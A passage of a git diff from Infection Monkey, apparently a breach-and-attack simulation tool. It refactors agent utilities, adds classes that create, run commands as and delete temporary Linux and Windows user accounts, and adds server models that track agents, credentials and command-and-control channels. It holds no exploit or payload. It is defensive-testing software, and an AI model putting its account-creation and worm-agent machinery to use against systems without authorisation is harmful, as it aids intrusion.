get_interface_to_target(host.ip_addr) + host.default_tunnel = '%s:%d' % (ip_match, self.local_port) def stop(self): self._stopped = True diff --git a/monkey/infection_monkey/utils.py b/monkey/infection_monkey/utils.py deleted file mode 100644 index 741d7c950..000000000 --- a/monkey/infection_monkey/utils.py +++ /dev/null @@ -1,60 +0,0 @@ -import os -import sys -import shutil -import struct - -from infection_monkey.config import WormConfiguration - - -def get_monkey_log_path(): - return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \ - else WormConfiguration.monkey_log_path_linux - - -def get_dropper_log_path(): - return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \ - else WormConfiguration.dropper_log_path_linux - - -def is_64bit_windows_os(): - ''' - Checks for 64 bit Windows OS using environment variables. - :return: - ''' - return 'PROGRAMFILES(X86)' in os.environ - - -def is_64bit_python(): - return struct.calcsize("P") == 8 - - -def is_windows_os(): - return sys.platform.startswith("win") - - -def utf_to_ascii(string): - # Converts utf string to ascii. Safe to use even if string is already ascii. - udata = string.decode("utf-8") - return udata.encode("ascii", "ignore") - - -def create_monkey_dir(): - """ - Creates directory for monkey and related files - """ - if not os.path.exists(get_monkey_dir_path()): - os.mkdir(get_monkey_dir_path()) - - -def remove_monkey_dir(): - """ - Removes monkey's root directory - """ - shutil.rmtree(get_monkey_dir_path(), ignore_errors=True) - - -def get_monkey_dir_path(): - if is_windows_os(): - return WormConfiguration.monkey_dir_windows - else: - return WormConfiguration.monkey_dir_linux diff --git a/monkey/infection_monkey/utils/__init__.py b/monkey/infection_monkey/utils/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/utils/auto_new_user.py b/monkey/infection_monkey/utils/auto_new_user.py new file mode 100644 index 000000000..e749020d6 --- /dev/null +++ b/monkey/infection_monkey/utils/auto_new_user.py @@ -0,0 +1,42 @@ +import logging +import abc + +logger = logging.getLogger(__name__) + + +class AutoNewUser: + """ + RAII object to use for creating and using a new user. Use with `with`. + User will be created when the instance is instantiated. + User will be available for use (log on for Windows, for example) at the start of the `with` scope. + User will be removed (deactivated and deleted for Windows, for example) at the end of said `with` scope. + + Example: + # Created # Logged on + with AutoNewUser("user", "pass", is_on_windows()) as new_user: + ... + ... + # Logged off and deleted + ... + """ + __metaclass__ = abc.ABCMeta + + def __init__(self, username, password): + self.username = username + self.password = password + + @abc.abstractmethod + def __enter__(self): + raise NotImplementedError() + + @abc.abstractmethod + def __exit__(self, exc_type, exc_val, exc_tb): + raise NotImplementedError() + + @abc.abstractmethod + def run_as(self, command): + """ + Run the given command as the new user that was created. + :param command: The command to run - give as shell commandline (e.g. "ping google.com -n 1") + """ + raise NotImplementedError() diff --git a/monkey/infection_monkey/utils/auto_new_user_factory.py b/monkey/infection_monkey/utils/auto_new_user_factory.py new file mode 100644 index 000000000..898226d46 --- /dev/null +++ b/monkey/infection_monkey/utils/auto_new_user_factory.py @@ -0,0 +1,21 @@ +from infection_monkey.utils.environment import is_windows_os +from infection_monkey.utils.linux.users import AutoNewLinuxUser +from infection_monkey.utils.windows.users import AutoNewWindowsUser + + +def create_auto_new_user(username, password, is_windows=is_windows_os()): + """ + Factory method for creating an AutoNewUser. See AutoNewUser's documentation for more information. + Example usage: + with create_auto_new_user(username, PASSWORD) as new_user: + ... + :param username: The username of the new user. + :param password: The password of the new user. + :param is_windows: If True, a new Windows user is created. Otherwise, a Linux user is created. Leave blank for + automatic detection. + :return: The new AutoNewUser object - use with a `with` scope. + """ + if is_windows: + return AutoNewWindowsUser(username, password) + else: + return AutoNewLinuxUser(username, password) diff --git a/monkey/infection_monkey/utils/environment.py b/monkey/infection_monkey/utils/environment.py new file mode 100644 index 000000000..40a70ce58 --- /dev/null +++ b/monkey/infection_monkey/utils/environment.py @@ -0,0 +1,18 @@ +import os +import struct +import sys + + +def is_64bit_windows_os(): + """ + Checks for 64 bit Windows OS using environment variables. + """ + return 'PROGRAMFILES(X86)' in os.environ + + +def is_64bit_python(): + return struct.calcsize("P") == 8 + + +def is_windows_os(): + return sys.platform.startswith("win") diff --git a/monkey/infection_monkey/utils/linux/__init__.py b/monkey/infection_monkey/utils/linux/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/utils/linux/users.py b/monkey/infection_monkey/utils/linux/users.py new file mode 100644 index 000000000..34becb8f7 --- /dev/null +++ b/monkey/infection_monkey/utils/linux/users.py @@ -0,0 +1,58 @@ +import datetime +import logging +import os +import subprocess + +from infection_monkey.utils.auto_new_user import AutoNewUser + +logger = logging.getLogger(__name__) + + +def get_linux_commands_to_add_user(username): + return [ + 'useradd', # https://linux.die.net/man/8/useradd + '-M', # Do not create homedir + '--expiredate', # The date on which the user account will be disabled. + datetime.datetime.today().strftime('%Y-%m-%d'), + '--inactive', # The number of days after a password expires until the account is permanently disabled. + '0', # A value of 0 disables the account as soon as the password has expired + '-c', # Comment + 'MONKEY_USER', # Comment + username] + + +def get_linux_commands_to_delete_user(username): + return [ + 'deluser', + username + ] + + +class AutoNewLinuxUser(AutoNewUser): + """ + See AutoNewUser's documentation for details. + """ + + def __init__(self, username, password): + """ + Creates a user with the username + password. + :raises: subprocess.CalledProcessError if failed to add the user. + """ + super(AutoNewLinuxUser, self).__init__(username, password) + + commands_to_add_user = get_linux_commands_to_add_user(username) + logger.debug("Trying to add {} with commands {}".format(self.username, str(commands_to_add_user))) + _ = subprocess.check_output(' '.join(commands_to_add_user), stderr=subprocess.STDOUT, shell=True) + + def __enter__(self): + return self # No initialization/logging on needed in Linux + + def run_as(self, command): + command_as_new_user = "sudo -u {username} {command}".format(username=self.username, command=command) + return os.system(command_as_new_user) + + def __exit__(self, exc_type, exc_val, exc_tb): + # delete the user. + commands_to_delete_user = get_linux_commands_to_delete_user(self.username) + logger.debug("Trying to delete {} with commands {}".format(self.username, str(commands_to_delete_user))) + _ = subprocess.check_output(" ".join(commands_to_delete_user), stderr=subprocess.STDOUT, shell=True) diff --git a/monkey/infection_monkey/utils/monkey_dir.py b/monkey/infection_monkey/utils/monkey_dir.py new file mode 100644 index 000000000..bb69dae5b --- /dev/null +++ b/monkey/infection_monkey/utils/monkey_dir.py @@ -0,0 +1,29 @@ +import os +import shutil +import tempfile + +from infection_monkey.config import WormConfiguration + + +def create_monkey_dir(): + """ + Creates directory for monkey and related files + """ + if not os.path.exists(get_monkey_dir_path()): + os.mkdir(get_monkey_dir_path()) + + +def remove_monkey_dir(): + """ + Removes monkey's root directory + :return True if removed without errors and False otherwise + """ + try: + shutil.rmtree(get_monkey_dir_path()) + return True + except Exception: + return False + + +def get_monkey_dir_path(): + return os.path.join(tempfile.gettempdir(), WormConfiguration.monkey_dir_name) diff --git a/monkey/infection_monkey/utils/monkey_log_path.py b/monkey/infection_monkey/utils/monkey_log_path.py new file mode 100644 index 000000000..ad80bc73d --- /dev/null +++ b/monkey/infection_monkey/utils/monkey_log_path.py @@ -0,0 +1,14 @@ +import os +import sys + +from infection_monkey.config import WormConfiguration + + +def get_monkey_log_path(): + return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \ + else WormConfiguration.monkey_log_path_linux + + +def get_dropper_log_path(): + return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \ + else WormConfiguration.dropper_log_path_linux diff --git a/monkey/infection_monkey/utils/new_user_error.py b/monkey/infection_monkey/utils/new_user_error.py new file mode 100644 index 000000000..8fe44d7bc --- /dev/null +++ b/monkey/infection_monkey/utils/new_user_error.py @@ -0,0 +1,2 @@ +class NewUserError(Exception): + pass diff --git a/monkey/infection_monkey/utils/users.py b/monkey/infection_monkey/utils/users.py new file mode 100644 index 000000000..68148d9e9 --- /dev/null +++ b/monkey/infection_monkey/utils/users.py @@ -0,0 +1,10 @@ +from infection_monkey.utils.linux.users import get_linux_commands_to_add_user +from infection_monkey.utils.windows.users import get_windows_commands_to_add_user + + +def get_commands_to_add_user(username, password): + linux_cmds = get_linux_commands_to_add_user(username) + windows_cmds = get_windows_commands_to_add_user(username, password) + return linux_cmds, windows_cmds + + diff --git a/monkey/infection_monkey/utils/windows/__init__.py b/monkey/infection_monkey/utils/windows/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py new file mode 100644 index 000000000..cf6eb73c4 --- /dev/null +++ b/monkey/infection_monkey/utils/windows/users.py @@ -0,0 +1,155 @@ +import logging +import subprocess + +from infection_monkey.utils.auto_new_user import AutoNewUser +from infection_monkey.utils.new_user_error import NewUserError + +ACTIVE_NO_NET_USER = '/ACTIVE:NO' +WAIT_TIMEOUT_IN_MILLISECONDS = 20 * 1000 + +logger = logging.getLogger(__name__) + + +def get_windows_commands_to_add_user(username, password, should_be_active=False): + windows_cmds = [ + 'net', + 'user', + username, + password, + '/add'] + if not should_be_active: + windows_cmds.append(ACTIVE_NO_NET_USER) + return windows_cmds + + +def get_windows_commands_to_delete_user(username): + return [ + 'net', + 'user', + username, + '/delete'] + + +def get_windows_commands_to_deactivate_user(username): + return [ + 'net', + 'user', + username, + ACTIVE_NO_NET_USER] + + +class AutoNewWindowsUser(AutoNewUser): + """ + See AutoNewUser's documentation for details. + """ + + def __init__(self, username, password): + """ + Creates a user with the username + password. + :raises: subprocess.CalledProcessError if failed to add the user. + """ + super(AutoNewWindowsUser, self).__init__(username, password) + + windows_cmds = get_windows_commands_to_add_user(self.username, self.password, True) + logger.debug("Trying to add {} with commands {}".format(self.username, str(windows_cmds))) + _ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True) + + def __enter__(self): + # Importing these only on windows, as they won't exist on linux. + import win32security + import win32con + + try: + # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera + self.logon_handle = win32security.LogonUser( + self.username, + ".", # Use current domain. + self.password, + win32con.LOGON32_LOGON_INTERACTIVE, # Logon type - interactive (normal user). Need this to open ping + # using a shell. + win32con.LOGON32_PROVIDER_DEFAULT) # Which logon provider to use - whatever Windows offers. + except Exception as err: + raise NewUserError("Can't logon as {}. Error: {}".format(self.username, str(err))) + return self + + def run_as(self, command): + # Importing these only on windows, as they won't exist on linux. + import win32con + import win32process + import win32api + import win32event + + exit_code = -1 + process_handle = None + thread_handle = None + + try: + # Open process as that user: + # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera + process_handle, thread_handle, _, _ = win32process.CreateProcessAsUser( + self.get_logon_handle(), # A handle to the primary token that represents a user. + None, # The name of the module to be executed. + command, # The command line to be executed. + None, # Process attributes + None, # Thread attributes + True, # Should inherit handles + win32con.NORMAL_PRIORITY_CLASS, # The priority class and the creation of the process. + None, # An environment block for the new process. If this parameter is NULL, the new process + # uses the environment of the calling process. + None, # CWD. If this parameter is NULL, the new process will have the same current drive and + # directory as the calling process. + win32process.STARTUPINFO() # STARTUPINFO structure. + # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa + ) + + logger.debug( + "Waiting for process to finish. Timeout: {}ms".format(WAIT_TIMEOUT_IN_MILLISECONDS)) + + # Ignoring return code, as we'll use `GetExitCode` to determine the state of the process later. + _ = win32event.WaitForSingleObject( # Waits until the specified object is signaled, or time-out. + process_handle, # Ping process handle + WAIT_TIMEOUT_IN_MILLISECONDS # Timeout in milliseconds + ) + + exit_code = win32process.GetExitCodeProcess(process_handle) + finally: + try: + if process_handle is not None: + win32api.CloseHandle(process_handle) + if thread_handle is not None: + win32api.CloseHandle(thread_handle) + except Exception as err: + logger.error("Close handle error: " + str(err)) + + return exit_code + + def get_logon_handle(self): + return self.logon_handle + + def __exit__(self, exc_type, exc_val, exc_tb): + # Logoff + self.logon_handle.Close() + + # Try to disable and then delete the user. + self.try_deactivate_user() + self.try_delete_user() + + def try_deactivate_user(self): + try: + commands_to_deactivate_user = get_windows_commands_to_deactivate_user(self.username) + logger.debug( + "Trying to deactivate {} with commands {}".format(self.username, str(commands_to_deactivate_user))) + _ = subprocess.check_output( + commands_to_deactivate_user, stderr=subprocess.STDOUT, shell=True) + except Exception as err: + raise NewUserError("Can't deactivate user {}. Info: {}".format(self.username, err)) + + def try_delete_user(self): + try: + commands_to_delete_user = get_windows_commands_to_delete_user(self.username) + logger.debug( + "Trying to delete {} with commands {}".format(self.username, str(commands_to_delete_user))) + _ = subprocess.check_output( + commands_to_delete_user, stderr=subprocess.STDOUT, shell=True) + except Exception as err: + raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err)) diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py index 67b1c3cbd..af904b143 100644 --- a/monkey/infection_monkey/windows_upgrader.py +++ b/monkey/infection_monkey/windows_upgrader.py @@ -8,9 +8,9 @@ import time import infection_monkey.monkeyfs as monkeyfs from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient -from infection_monkey.exploit.tools import build_monkey_commandline_explicitly +from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly from infection_monkey.model import MONKEY_CMDLINE_WINDOWS -from infection_monkey.utils import is_windows_os, is_64bit_windows_os, is_64bit_python +from infection_monkey.utils.environment import is_windows_os, is_64bit_windows_os, is_64bit_python __author__ = 'itay.mizeretz' @@ -37,8 +37,8 @@ class WindowsUpgrader(object): with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: shutil.copyfileobj(downloaded_monkey_file, written_monkey_file) - except (IOError, AttributeError): - LOG.error("Failed to download the Monkey to the target path.") + except (IOError, AttributeError) as e: + LOG.error("Failed to download the Monkey to the target path: %s." % e) return monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 205785486..03d30a229 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -23,17 +23,21 @@ from monkey_island.cc.resources.monkey_download import MonkeyDownload from monkey_island.cc.resources.netmap import NetMap from monkey_island.cc.resources.node import Node from monkey_island.cc.resources.remote_run import RemoteRun -from monkey_island.cc.resources.report import Report +from monkey_island.cc.resources.reporting.report import Report from monkey_island.cc.resources.root import Root from monkey_island.cc.resources.telemetry import Telemetry from monkey_island.cc.resources.telemetry_feed import TelemetryFeed from monkey_island.cc.resources.pba_file_download import PBAFileDownload from monkey_island.cc.resources.version_update import VersionUpdate -from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.database import Database from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService from monkey_island.cc.resources.pba_file_upload import FileUpload -from monkey_island.cc.resources.attack_telem import AttackTelem +from monkey_island.cc.resources.attack.attack_config import AttackConfiguration +from monkey_island.cc.resources.attack.attack_report import AttackReport + +from monkey_island.cc.resources.test.monkey_test import MonkeyTest +from monkey_island.cc.resources.test.log_test import LogTest __author__ = 'Barak' @@ -97,7 +101,7 @@ def init_app_services(app): with app.app_context(): database.init() - ConfigService.init_config() + Database.init_db() # If running on AWS, this will initialize the instance data, which is used "later" in the execution of the island. RemoteRunAwsService.init() @@ -121,7 +125,13 @@ def init_api_resources(api): api.add_resource(NetMap, '/api/netmap', '/api/netmap/') api.add_resource(Edge, '/api/netmap/edge', '/api/netmap/edge/') api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/') - api.add_resource(Report, '/api/report', '/api/report/') + + # report_type: zero_trust or security + api.add_resource( + Report, + '/api/report/', + '/api/report//') + api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') @@ -130,9 +140,13 @@ def init_api_resources(api): '/api/fileUpload/?load=', '/api/fileUpload/?restore=') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') - api.add_resource(AttackTelem, '/api/attack/') + api.add_resource(AttackConfiguration, '/api/attack') + api.add_resource(AttackReport, '/api/attack/report') api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/') + api.add_resource(MonkeyTest, '/api/test/monkey') + api.add_resource(LogTest, '/api/test/log') + def init_app(mongo_url): app = Flask(__name__) diff --git a/monkey/monkey_island/cc/auth.py b/monkey/monkey_island/cc/auth.py index 2e7eb69ff..7f15cb45e 100644 --- a/monkey/monkey_island/cc/auth.py +++ b/monkey/monkey_island/cc/auth.py @@ -10,8 +10,8 @@ __author__ = 'itay.mizeretz' class User(object): - def __init__(self, id, username, secret): - self.id = id + def __init__(self, user_id, username, secret): + self.id = user_id self.username = username self.secret = secret diff --git a/monkey/monkey_island/cc/consts.py b/monkey/monkey_island/cc/consts.py index deb1db449..c302f6fb7 100644 --- a/monkey/monkey_island/cc/consts.py +++ b/monkey/monkey_island/cc/consts.py @@ -3,3 +3,4 @@ import os __author__ = 'itay.mizeretz' MONKEY_ISLAND_ABS_PATH = os.path.join(os.getcwd(), 'monkey_island') +DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS = 60 * 5 diff --git a/monkey/monkey_island/cc/database.py b/monkey/monkey_island/cc/database.py index 8fb3b120b..082553e5f 100644 --- a/monkey/monkey_island/cc/database.py +++ b/monkey/monkey_island/cc/database.py @@ -25,3 +25,14 @@ def is_db_server_up(mongo_url): return True except ServerSelectionTimeoutError: return False + + +def get_db_version(mongo_url): + """ + Return the mongo db version + :param mongo_url: Which mongo to check. + :return: version as a tuple (e.g. `(u'4', u'0', u'8')`) + """ + client = MongoClient(mongo_url, serverSelectionTimeoutMS=100) + server_version = tuple(client.server_info()['version'].split('.')) + return server_version diff --git a/monkey/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py index 1202f299d..a8192fae3 100644 --- a/monkey/monkey_island/cc/environment/__init__.py +++ b/monkey/monkey_island/cc/environment/__init__.py @@ -10,13 +10,29 @@ class Environment(object): __metaclass__ = abc.ABCMeta _ISLAND_PORT = 5000 - _MONGO_URL = os.environ.get("MONKEY_MONGO_URL", "mongodb://localhost:27017/monkeyisland") + _MONGO_DB_NAME = "monkeyisland" + _MONGO_DB_HOST = "localhost" + _MONGO_DB_PORT = 27017 + _MONGO_URL = os.environ.get("MONKEY_MONGO_URL", + "mongodb://{0}:{1}/{2}".format(_MONGO_DB_HOST, _MONGO_DB_PORT, str(_MONGO_DB_NAME))) _DEBUG_SERVER = False _AUTH_EXPIRATION_TIME = timedelta(hours=1) - _MONKEY_VERSION = "1.6.3" + + _testing = False + + @property + def testing(self): + return self._testing + + @testing.setter + def testing(self, value): + self._testing = value + + _MONKEY_VERSION = "1.7.0" def __init__(self): self.config = None + self._testing = False # Assume env is not for unit testing. def set_config(self, config): self.config = config @@ -56,3 +72,15 @@ class Environment(object): @abc.abstractmethod def get_auth_users(self): return + + @property + def mongo_db_name(self): + return self._MONGO_DB_NAME + + @property + def mongo_db_host(self): + return self._MONGO_DB_HOST + + @property + def mongo_db_port(self): + return self._MONGO_DB_PORT diff --git a/monkey/monkey_island/cc/environment/environment.py b/monkey/monkey_island/cc/environment/environment.py index b27880e07..6115e8dd9 100644 --- a/monkey/monkey_island/cc/environment/environment.py +++ b/monkey/monkey_island/cc/environment/environment.py @@ -2,7 +2,10 @@ import json import logging import os +env = None + from monkey_island.cc.environment import standard +from monkey_island.cc.environment import testing from monkey_island.cc.environment import aws from monkey_island.cc.environment import password from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH @@ -14,11 +17,13 @@ logger = logging.getLogger(__name__) AWS = 'aws' STANDARD = 'standard' PASSWORD = 'password' +TESTING = 'testing' ENV_DICT = { STANDARD: standard.StandardEnvironment, AWS: aws.AwsEnvironment, PASSWORD: password.PasswordEnvironment, + TESTING: testing.TestingEnvironment } diff --git a/monkey/monkey_island/cc/environment/testing.py b/monkey/monkey_island/cc/environment/testing.py new file mode 100644 index 000000000..087c3a2e3 --- /dev/null +++ b/monkey/monkey_island/cc/environment/testing.py @@ -0,0 +1,10 @@ +from monkey_island.cc.environment import Environment + + +class TestingEnvironment(Environment): + def __init__(self): + super(TestingEnvironment, self).__init__() + self.testing = True + + def get_auth_users(self): + return [] diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 412c3c399..5545e79f5 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -6,6 +6,8 @@ import sys import time import logging +MINIMUM_MONGO_DB_VERSION_REQUIRED = "3.6.0" + BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) if BASE_PATH not in sys.path: @@ -19,10 +21,11 @@ json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'isla logger = logging.getLogger(__name__) from monkey_island.cc.app import init_app -from monkey_island.cc.exporter_init import populate_exporter_list +from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list from monkey_island.cc.utils import local_ip_addresses from monkey_island.cc.environment.environment import env -from monkey_island.cc.database import is_db_server_up +from monkey_island.cc.database import is_db_server_up, get_db_version +from monkey_island.cc.resources.monkey_download import MonkeyDownload def main(): @@ -31,10 +34,8 @@ def main(): from tornado.ioloop import IOLoop mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url()) - - while not is_db_server_up(mongo_url): - logger.info('Waiting for MongoDB server') - time.sleep(1) + wait_for_mongo_db_server(mongo_url) + assert_mongo_db_version(mongo_url) populate_exporter_list() app = init_app(mongo_url) @@ -49,11 +50,40 @@ def main(): ssl_options={'certfile': os.environ.get('SERVER_CRT', crt_path), 'keyfile': os.environ.get('SERVER_KEY', key_path)}) http_server.listen(env.get_island_port()) - logger.info( - 'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port())) - + log_init_info() IOLoop.instance().start() +def log_init_info(): + logger.info( + 'Monkey Island Server is running. Listening on the following URLs: {}'.format( + ", ".join(["https://{}:{}".format(x, env.get_island_port()) for x in local_ip_addresses()]) + ) + ) + MonkeyDownload.log_executable_hashes() + + +def wait_for_mongo_db_server(mongo_url): + while not is_db_server_up(mongo_url): + logger.info('Waiting for MongoDB server on {0}'.format(mongo_url)) + time.sleep(1) + + +def assert_mongo_db_version(mongo_url): + """ + Checks if the mongodb version is new enough for running the app. + If the DB is too old, quits. + :param mongo_url: URL to the mongo the Island will use + """ + required_version = tuple(MINIMUM_MONGO_DB_VERSION_REQUIRED.split(".")) + server_version = get_db_version(mongo_url) + if server_version < required_version: + logger.error( + 'Mongo DB version too old. {0} is required, but got {1}'.format(str(required_version), str(server_version))) + sys.exit(-1) + else: + logger.info('Mongo DB version OK. Got {0}'.format(str(server_version))) + + if __name__ == '__main__': main() diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py new file mode 100644 index 000000000..58e950914 --- /dev/null +++ b/monkey/monkey_island/cc/models/__init__.py @@ -0,0 +1,20 @@ +from mongoengine import connect + +from monkey_island.cc.environment.environment import env + +# This section sets up the DB connection according to the environment. +# If testing, use mongomock which only emulates mongo. for more information, see +# http://docs.mongoengine.org/guide/mongomock.html . +# Otherwise, use an actual mongod instance with connection parameters supplied by env. +if env.testing: + connect('mongoenginetest', host='mongomock://localhost') +else: + connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port) + +# Order of importing matters here, for registering the embedded and referenced documents before using them. +from config import Config +from creds import Creds +from monkey_ttl import MonkeyTtl +from pba_results import PbaResults +from command_control_channel import CommandControlChannel +from monkey import Monkey diff --git a/monkey/monkey_island/cc/models/command_control_channel.py b/monkey/monkey_island/cc/models/command_control_channel.py new file mode 100644 index 000000000..3aefef455 --- /dev/null +++ b/monkey/monkey_island/cc/models/command_control_channel.py @@ -0,0 +1,11 @@ +from mongoengine import EmbeddedDocument, StringField + + +class CommandControlChannel(EmbeddedDocument): + """ + This value describes command and control channel monkey used in communication + src - Monkey Island's IP + dst - Monkey's IP (in case of a proxy chain this is the IP of the last monkey) + """ + src = StringField() + dst = StringField() diff --git a/monkey/monkey_island/cc/models/config.py b/monkey/monkey_island/cc/models/config.py new file mode 100644 index 000000000..cfe128111 --- /dev/null +++ b/monkey/monkey_island/cc/models/config.py @@ -0,0 +1,11 @@ +from mongoengine import EmbeddedDocument + + +class Config(EmbeddedDocument): + """ + No need to define this schema here. It will change often and is already is defined in + monkey_island.cc.services.config_schema. + See https://mongoengine-odm.readthedocs.io/apireference.html#mongoengine.FieldDoesNotExist + """ + meta = {'strict': False} + pass diff --git a/monkey/monkey_island/cc/models/creds.py b/monkey/monkey_island/cc/models/creds.py new file mode 100644 index 000000000..61322362e --- /dev/null +++ b/monkey/monkey_island/cc/models/creds.py @@ -0,0 +1,9 @@ +from mongoengine import EmbeddedDocument + + +class Creds(EmbeddedDocument): + """ + TODO get an example of this data, and make it strict + """ + meta = {'strict': False} + pass diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py new file mode 100644 index 000000000..a8a7da2ec --- /dev/null +++ b/monkey/monkey_island/cc/models/monkey.py @@ -0,0 +1,148 @@ +""" +Define a Document Schema for the Monkey document. +""" +from mongoengine import Document, StringField, ListField, BooleanField, EmbeddedDocumentField, ReferenceField, \ + DateTimeField, DynamicField, DoesNotExist +import ring + +from monkey_island.cc.models.monkey_ttl import MonkeyTtl, create_monkey_ttl_document +from monkey_island.cc.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS +from monkey_island.cc.models.command_control_channel import CommandControlChannel +from monkey_island.cc.utils import local_ip_addresses + +MAX_MONKEYS_AMOUNT_TO_CACHE = 100 + + +class Monkey(Document): + """ + This class has 2 main section: + * The schema section defines the DB fields in the document. This is the data of the object. + * The logic section defines complex questions we can ask about a single document which are asked multiple + times, somewhat like an API. + """ + # SCHEMA + guid = StringField(required=True) + config = EmbeddedDocumentField('Config') + creds = ListField(EmbeddedDocumentField('Creds')) + dead = BooleanField() + description = StringField() + hostname = StringField() + internet_access = BooleanField() + ip_addresses = ListField(StringField()) + keepalive = DateTimeField() + modifytime = DateTimeField() + # TODO make "parent" an embedded document, so this can be removed and the schema explained (and validated) verbosly. + # This is a temporary fix, since mongoengine doesn't allow for lists of strings to be null + # (even with required=False of null=True). + # See relevant issue: https://github.com/MongoEngine/mongoengine/issues/1904 + parent = ListField(ListField(DynamicField())) + config_error = BooleanField() + critical_services = ListField(StringField()) + pba_results = ListField() + ttl_ref = ReferenceField(MonkeyTtl) + tunnel = ReferenceField("self") + command_control_channel = EmbeddedDocumentField(CommandControlChannel) + aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS + # instance. See https://github.com/guardicore/monkey/issues/426. + + # LOGIC + @staticmethod + def get_single_monkey_by_id(db_id): + try: + return Monkey.objects.get(id=db_id) + except DoesNotExist as ex: + raise MonkeyNotFoundError("info: {0} | id: {1}".format(ex.message, str(db_id))) + + @staticmethod + def get_single_monkey_by_guid(monkey_guid): + try: + return Monkey.objects.get(guid=monkey_guid) + except DoesNotExist as ex: + raise MonkeyNotFoundError("info: {0} | guid: {1}".format(ex.message, str(monkey_guid))) + + @staticmethod + def get_latest_modifytime(): + if Monkey.objects.count() > 0: + return Monkey.objects.order_by('-modifytime').first().modifytime + return None + + def is_dead(self): + monkey_is_dead = False + if self.dead: + monkey_is_dead = True + else: + try: + if MonkeyTtl.objects(id=self.ttl_ref.id).count() == 0: + # No TTLs - monkey has timed out. The monkey is MIA. + monkey_is_dead = True + except (DoesNotExist, AttributeError): + # Trying to dereference unknown document - the monkey is MIA. + monkey_is_dead = True + return monkey_is_dead + + def get_os(self): + os = "unknown" + if self.description.lower().find("linux") != -1: + os = "linux" + elif self.description.lower().find("windows") != -1: + os = "windows" + return os + + @staticmethod + @ring.lru() + def get_label_by_id(object_id): + current_monkey = Monkey.get_single_monkey_by_id(object_id) + label = Monkey.get_hostname_by_id(object_id) + " : " + current_monkey.ip_addresses[0] + if len(set(current_monkey.ip_addresses).intersection(local_ip_addresses())) > 0: + label = "MonkeyIsland - " + label + return label + + @staticmethod + @ring.lru() + def get_hostname_by_id(object_id): + """ + :param object_id: the object ID of a Monkey in the database. + :return: The hostname of that machine. + :note: Use this and not monkey.hostname for performance - this is lru-cached. + """ + return Monkey.get_single_monkey_by_id(object_id).hostname + + def set_hostname(self, hostname): + """ + Sets a new hostname for a machine and clears the cache for getting it. + :param hostname: The new hostname for the machine. + """ + self.hostname = hostname + self.save() + Monkey.get_hostname_by_id.delete(self.id) + Monkey.get_label_by_id.delete(self.id) + + def get_network_info(self): + """ + Formats network info from monkey's model + :return: dictionary with an array of IP's and a hostname + """ + return {'ips': self.ip_addresses, 'hostname': self.hostname} + + @staticmethod + @ring.lru( + expire=1 # data has TTL of 1 second. This is useful for rapid calls for report generation. + ) + def is_monkey(object_id): + try: + _ = Monkey.get_single_monkey_by_id(object_id) + return True + except: + return False + + @staticmethod + def get_tunneled_monkeys(): + return Monkey.objects(tunnel__exists=True) + + def renew_ttl(self, duration=DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS): + self.ttl_ref = create_monkey_ttl_document(duration) + self.save() + + +class MonkeyNotFoundError(Exception): + pass diff --git a/monkey/monkey_island/cc/models/monkey_ttl.py b/monkey/monkey_island/cc/models/monkey_ttl.py new file mode 100644 index 000000000..b3e59d5ed --- /dev/null +++ b/monkey/monkey_island/cc/models/monkey_ttl.py @@ -0,0 +1,53 @@ +from datetime import datetime, timedelta + +from mongoengine import Document, DateTimeField + + +class MonkeyTtl(Document): + """ + This model represents the monkey's TTL, and is referenced by 